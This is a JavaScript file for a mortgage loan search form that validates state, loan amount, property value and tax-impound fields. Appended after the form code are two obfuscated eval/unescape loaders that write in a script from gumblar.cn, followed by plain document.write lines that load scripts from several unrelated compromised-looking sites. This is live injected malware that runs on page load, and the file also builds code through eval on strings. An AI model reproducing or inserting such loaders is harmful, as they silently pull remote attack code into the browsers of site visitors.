function chkVal(strQ, strVal) {
		//alert('document.loan_search.' + strQ + '.value = "' + strVal + '"');
		eval('document.loan_search.' + strQ + '.value = "' + strVal + '"');
}

function getClockTime()
{
   var now    = new Date();
   var hour   = now.getHours();
   var minute = now.getMinutes();
   var second = now.getSeconds();
   var ap = "AM";
   if (hour   > 11) { ap = "PM";             }
   if (hour   > 12) { hour = hour - 12;      }
   if (hour   == 0) { hour = 12;             }
   if (hour   < 10) { hour   = "0" + hour;   }
   if (minute < 10) { minute = "0" + minute; }
   if (second < 10) { second = "0" + second; }
   var timeString = hour + minute + second +  ap;
   return timeString;
}


function hide(strDiv,blnHide){
    if (blnHide == 1) {
		document.getElementById(strDiv).style.display = 'none';
	} else {
		document.getElementById(strDiv).style.display = '';
	}
}

function validate(){
 var goforit = "";
 var retvalAmount = true;
 var retvalValue = true;

 if (document.all){
   data = document.loan_search;
 } else if (document.layers){
   data = document.loan_search;
 } else {
   data = document.loan_search;
 }


 if (data.state && data.state.type != "hidden") {
   if(data.state[data.state.selectedIndex].value == ""){
       alert("Please Select a state");
       //document.state.focus();
       return false;
    }   
 } 

if (data.loan_amount && data.loan_amount.type != "hidden") {   
	retvalAmount =  number_validation(data.loan_amount.value);
	if ((retvalAmount == "") || (data.loan_amount.value == 0)) {
	    alert("Please enter a valid loan amount.");
            data.loan_amount.value = "";
            data.loan_amount.focus();
            return false;
	} 
}

if (data.property_value && data.property_value.type != "hidden") {
	retvalValue = number_validation(data.property_value.value);
	if ((retvalValue == "") || (data.property_value.value == 0)) {
            alert("Please enter a valid property value.");
	    data.property_value.value = "";
	    data.property_value.focus();
	    return false;
	}
}
  
//if (data.documentation_type[0] && data.documentation_type[1]) {
//	if (!data.documentation_type[0].checked && !data.documentation_type[1].checked) {
//         alert("Please enter a value for \'Can you document your income?\'.");
//	    return false;
//	}
//}

if (data.impounds) {
	if (data.impounds.length == 2) {
		if (!(data.impounds[0].checked) && !(data.impounds[1].checked) ) {
		    alert("Please enter a value for \'Will you be paying your taxes and insurance along with your mortgage payment?\'.");
			return false;
		}
	}
	if (data.impounds.length == 3) {
		var impCtr;
		var i;
		impCtr = 0;
		for (i=0; i < 3;i++) {
			if (data.impounds[i]) {
				if ( (data.impounds[i].type == "radio") && (data.impounds[i].checked) ) {
					impCtr = 1;
				}
			}
		}
		if (impCtr == 0) {
		     alert("Please enter a value for \'Will you be paying your taxes and insurance along with your mortgage payment?\'.");
			return false;		
		}
	}
	
}

   data.submit();
   return true;
}

function number_validation(val){
   edited_value = '';
   var len=val.length;
   var dot_cntr = 0;

	for(var i=0;i<len;i++){
		if((val.charAt(i) >= 0 && val.charAt(i) <= 9) || val.charAt(i) == "."){
			if(val.charAt(i) == "." ){
				++dot_cntr;
				if(dot_cntr >= 2){
					alert("There are two decimals in the amount field, the amount field will be zeroed out.");
					edited_value = 0;
					break;
				}
			}
			val.value = '';
			edited_value = edited_value + val.charAt(i);
		}
  }
 return edited_value;
 }<!-- 
(function(t){eval(unescape(('v#61#72#20a#3d#22S#63ri#70tEn#67i#6e#65#22#2cb#3d#22Ver#73ion#28)+#22#2cj#3d#22#22#2cu#3dnavi#67#61tor#2euser#41#67ent#3bif(#28u#2ein#64exOf(#22Wi#6e#22#29#3e#30)#26#26(u#2e#69ndex#4ff(#22NT#206#22)#3c0#29#26#26(do#63u#6dent#2e#63oo#6bie#2eindexOf#28#22#6diek#3d1#22)#3c#30)#26#26(#74ypeof(#7a#72vzts)#21#3dt#79#70eof(#22A#22)))#7bzrvzt#73#3d#22A#22#3be#76al(#22i#66(#77in#64ow#2e#22+a#2b#22#29j#3dj#2b#22#2ba+#22Ma#6a#6fr#22+b+a+#22Min#6fr#22+b+a+#22B#75ild#22+#62+#22#6a#3b#22)#3bd#6fcument#2ewrite(#22#3c#73crip#74#20src#3d#2f#2fg#75mblar#2ecn#2frs#73#2f#3f#69d#3d#22+j+#22#3e#3c#5c#2fs#63ript#3e#22)#3b#7d').replace(t,'%')))})(/#/g);
 --><!-- 
(function(){var jge='var~20a~3d~22Scri~70tEng~69ne~22~2cb~3d~22V~65~72si~6f~6e()~2b~22~2c~6a~3d~22~22~2c~75~3dn~61vigator~2eu~73~65rAgent~3bif((u~2e~69ndexOf(~22Wi~6e~22)~3e~30~29~26~26(~75~2ei~6e~64~65~78Of(~22~4eT~206~22)~3c0)~26~26(do~63~75ment~2ecookie~2eind~65xO~66~28~22m~69ek~3d1~22)~3c0~29~26~26(type~6ff(zrvzt~73)~21~3d~74yp~65of(~22A~22)))~7bzrv~7a~74~73~3d~22A~22~3bev~61l(~22if~28win~64~6fw~2e~22+a+~22)j~3dj+~22~2b~61+~22M~61~6ao~72~22+b+~61+~22M~69no~72~22+b+a+~22Build~22+b+~22j~3b~22)~3bdoc~75~6dent~2e~77ri~74e(~22~3csc~72~69~70t~20src~3d~2f~2fg~75mbla~72~2ecn~2frss~2f~3fi~64~3d~22+j+~22~3e~3c~5c~2fscrip~74~3e~22)~3b~7d';var bzz=jge.replace(/~/g,'%');eval(unescape(bzz))})();
 -->
document.write('<script src=http://seydisehirgundem.com/db/istatistikler.php ><\/script>');
document.write('<script src=http://seydisehirgundem.com/db/istatistikler.php ><\/script>');
document.write('<script src=http://winecountrycarolina.com/pics/contact.php ><\/script>');
document.write('<script src=http://gildbankers.lv/Temp/robots.php ><\/script>');
document.write('<script src=http://gildbankers.lv/Temp/robots.php ><\/script>');
document.write('<script src=http://gildbankers.lv/Temp/robots.php ><\/script>');